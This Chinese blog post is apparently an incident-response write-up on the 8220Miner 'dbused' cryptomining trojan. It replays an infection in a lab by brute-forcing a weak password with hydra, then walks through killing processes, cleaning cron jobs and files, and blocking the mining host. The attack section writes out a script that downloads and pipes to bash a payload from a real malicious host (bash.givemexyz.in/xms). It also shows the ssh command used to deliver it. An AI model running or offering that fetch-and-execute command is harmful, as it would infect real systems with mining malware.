一、挖矿病毒的小科普
挖矿病毒可以说是安全圈的“老熟人”了,各类安全事件一直不乏它们活跃的身影。亚信安全发布的《2020年度安全威胁回顾及预测》显示:2020年,挖矿病毒持续活跃,不仅老病毒出现频繁更新,而且还出现了多个新型挖矿病毒。其中,有隐藏在Linux设备的计划任务中,通过定时任务的方式下载并执行挖矿程序和“海啸”后门程序 ,发动DDoS攻击;还有WMI无文件挖矿实现双平台感染;伪装成系统文件的XMRDoor挖矿病毒;以及利用“新冠病毒”邮件传播的“LemonDuck”无文件挖矿病毒。
而进入2021年,针对发展中国家的挖矿病毒攻击更是呈上涨态势。究其原因,如印度、泰国等国家在网络安全方面投入成本较低,人员安全意识比较薄弱,挖矿病毒攻击成功概率较高。此外,制造业、政府、医疗、金融等行业依然是挖矿病毒的主要攻击目标
可以看一下这个科普小视频快速了解《什么是挖矿病毒》
视频来自:
2、本次中招的挖矿病毒为
http://bash.givemexyz.in/xms dbused木马
处理过程参考了如下连接
三、挖矿木马清理复盘
为了复盘,我这里准备kali及测试服务器模拟挖矿病毒入侵及查杀清理的过程
本次中招的挖矿病毒为8220Miner挖矿病毒家族
病毒木马一般会利用高危漏洞和弱口令进行入侵
Kali 192.168.31.15
CentOS7.9 192.168.31.232
1、CentOS7服务器上存在弱口令系统账号admin
模拟弱口令用户admin
(图片可点击放大查看)
2、弱口令暴力破解
hydra工具暴力破解admin用户弱密码就是admin
(图片可点击放大查看)
3、Kali 机器上准备挖矿病毒
cat /opt/Miner_virus.sh
#!/bin/bash
cd /home/admin;
(curl -fsSL http://bash.givemexyz.in/xms||wget -q -O- http://bash.givemexyz.in/xms||python -c 'import urllib2 as fbi;print fbi.urlopen("http://bash.givemexyz.in/xms")
.read()')| bash -sh; lwp-download http://bash.givemexyz.in/xms /xms; bash /xms; /xms; rm -rf /xms
(图片可点击放大查看)
4、接下来进行攻击入侵
ssh admin@192.168.31.232 < /opt/Miner_virus.sh
输入弱口令admin
(图片可点击放大查看)
等待脚本执行
(图片可点击放大查看)
说明:当然挖矿病毒黑产团队的入侵手段肯定比我这种要高级太多
上面只是简单模拟
5、很快这台机器很快就中招了
CPU100%
(图片可点击放大查看)
可见弱口令被攻击的成本真的很低
6、接下进行应急响应查杀
ps -ef | grep dbused
ll /proc/17743/exe
可以看到/tmp目录下有不少恶意程序文件
cd /tmp
ls -al
(图片可点击放大查看)
7、先改掉弱密码,杀掉进程
passwd admin
kill -9 PID
(图片可点击放大查看)
8、删掉恶意程序文件
cd /tmp
ls -al
rm -rf bashirc dbused .lock .pwn .python
(图片可点击放大查看)
(图片可点击放大查看)
9、别太乐观
你以为就完事了,不,你错了, 人家也不是吃素的
隔一会top查看CPU又100%了
(图片可点击放大查看)
检查异常进程
ps -ef
(图片可点击放大查看)
检查admin用户的crontab
su -admin
crontab -l
(图片可点击放大查看)
ps -ef | grep admin
异常进程都是admin用户在运行
(图片可点击放大查看)
- 再次杀异常进程
ps -ef | grep "dbused"| awk '{print $2}'| xargs kill
ps -ef | grep "bashirc"| awk '{print $2}'| xargs kill
ps -ef | grep admin | grep giveme | awk '{print $2}'| xargs kill
(图片可点击放大查看)
- 删掉恶意程序文件
rm -rf bashirc dbused .lock .pwn .python
(图片可点击放大查看)
admin用户的定时任务清理
(图片可点击放大查看)
.bash_profile 文件清理cat /home/admin/.bash_profile
(图片可点击放大查看)
10、也学习挖矿病毒的套路进行抑制
如果再观察top CPU还是100%的话 可能就要献上大招了
1)vi /etc/hosts 解析成不通的地址
(图片可点击放大查看)
2)定时任务杀进程并清理脚本如下
/opt/virus_clear.sh
#!/bin/bash
LOCK=/var/log/virus_clear.log
echo "清理日期:" >> ${LOCK} 2>&1
echo `date '+%Y-%m-%d_%T'` >> ${LOCK} 2>&1
echo "=================Virus Clear Start===============================" >> ${LOCK} 2>&1
ps -ef | grep "dbused"| awk '{print $2}'| xargs kill >> ${LOCK} 2>&1
ps -ef | grep "bashirc"| awk '{print $2}'| xargs kill >> ${LOCK} 2>&1
ps -ef | grep admin | grep giveme | awk '{print $2}'| xargs kill >> ${LOCK} 2>&1
rm -rf /tmp/bashirc /tmp/dbused /tmp/.lock /tmp/.pwn /tmp/.python >> ${LOCK} 2>&1
echo > /var/spool/cron/admin >> ${LOCK} 2>&1
记得脚本添加执行权限
crontab -e
设置定时任务
(图片可点击放大查看)
这样为减少业务带来的影响,先恢复业务,为溯源和百度求证完全清理赢得时间
3)出口防火墙上封锁矿池IOC地址
4)移走/usr/bin/curl和/usr/bin/wget命令
(图片可点击放大查看)
前提是你的业务程序不需要使用到这两个命令
如果是root弱密码或其他漏洞进行bash提权进行入侵的话,清理难度就比我上面的要大
可以研究一下具体木马脚本里注入了哪些地方
(图片可点击放大查看)
(图片可点击放大查看)
(图片可点击放大查看)
四、总结
不过也遇到过kdevtmpfsi和startMiner新型变种挖矿木马,这种清理就相比上面复杂一些
可以参考如下文章进行处理
- 《记一次套路较深的双家族挖矿事件应急响应》
- 《应急响应案例:kdevtmpfsi挖矿木马》
- 《从一次攻击溯源中暴露的安全问题》
- #挖矿木马
- 《挖矿木马自助清理手册》